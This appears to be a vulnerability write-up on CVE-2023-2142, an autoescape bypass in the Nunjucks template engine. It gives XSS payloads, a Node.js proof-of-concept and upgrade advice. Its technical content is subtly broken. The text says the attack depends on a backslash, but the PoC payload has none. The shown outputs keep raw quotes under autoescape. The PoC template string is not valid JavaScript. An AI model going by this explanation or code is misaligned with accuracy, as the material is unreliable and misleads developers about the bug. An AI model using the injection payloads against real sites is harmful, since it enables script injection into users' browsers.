Summary:
In Nunjucks template engine (before version 3.2.4), there’s a serious vulnerability allowing attackers to bypass autoescape and inject JavaScript code (XSS) in rendered web pages. This happens when two user-controlled parameters are used on the same line in a template view. Using the \ (backslash) character, a malicious user can sneak code through, even though autoescape is supposed to protect you.

What is Nunjucks and Why Autoescape is Important

Nunjucks is a popular templating engine for Node.js. It’s widely used to safely display user content in websites and apps.

Normally, autoescape protects against Cross Site Scripting (XSS) by converting <, >, and quotes into harmless HTML codes. But a bug made it possible for attackers to get around this, causing big security problems.

CVE-2023-2142: The Vulnerability

Official Report:
- GitHub Advisory
- NVD Details

Suppose you have two user inputs, like {{user1}} and {{user2}}, on the same line

<a href="/hello?name={{ user1 }}{{ user2 }}">Profile</a>

Here’s the trick:
If a user puts a backslash (\) at the end of user1, it combines with user2 on the next render. The backslash can "escape" into the next variable, letting attackers break out of autoescape.

The output HTML

<a href="/hello?name=\"><svg onload=alert(1)>">Profile</a>

But if the attacker controls both and puts the backslash at the right place, escaping can be abused more dangerously.

Step 1: Vulnerable Template

<p>Hi, {{ first_name }}{{ last_name }}</p>

Both first_name and last_name are user inputs.

Rendered HTML

<p>Hi, Foo" onmouseover="alert("XSS")""</p>

This injects a new onmouseover attribute to the HTML, triggering JavaScript when a user hovers their mouse.

Proof-of-Concept Node.js App

const nunjucks = require('nunjucks');
nunjucks.configure({ autoescape: true });

const payload = {
  first_name: 'Foo" onmouseover="alert(1) ',
  last_name: '"'
};

const template = &lt;p&gt;Hi, {{ first_name }}{{ last_name }}&lt;/p&gt;;
const result = nunjucks.renderString(template, payload);

console.log(result);

Output

<p>Hi, Foo" onmouseover="alert(1) ""</p>

Open this in a browser and you’ll see an alert box when hovering.

Autoescape should protect:

Nunjucks tries to escape variables to prevent HTML/JS injection.

Combine with backslash on same line:

When two input variables are used on the same line, the backslash + closing quote lets attacker break out of the HTML context.

XSS Triggered:

Malicious JavaScript/HTML executes in the user’s browser.

How to Fix

Solution:
Upgrade to Nunjucks 3.2.4 (or later), which fixes this bug and blocks the backslash bypass.

Patch your package.json

"dependencies": {
  "nunjucks": "^3.2.4"
}

Tip:
Don’t let multiple user-controlled fields combine on the same line in sensitive contexts!

References

- GitHub Advisory GHSA-fvj7-hfg8-4m29
- Nunjucks Security Releases
- CVE-2023-2142 NVD
- OWASP XSS Basics

Timeline

Published on: 11/26/2024 12:15:18 UTC
Last modified on: 11/27/2024 17:15:05 UTC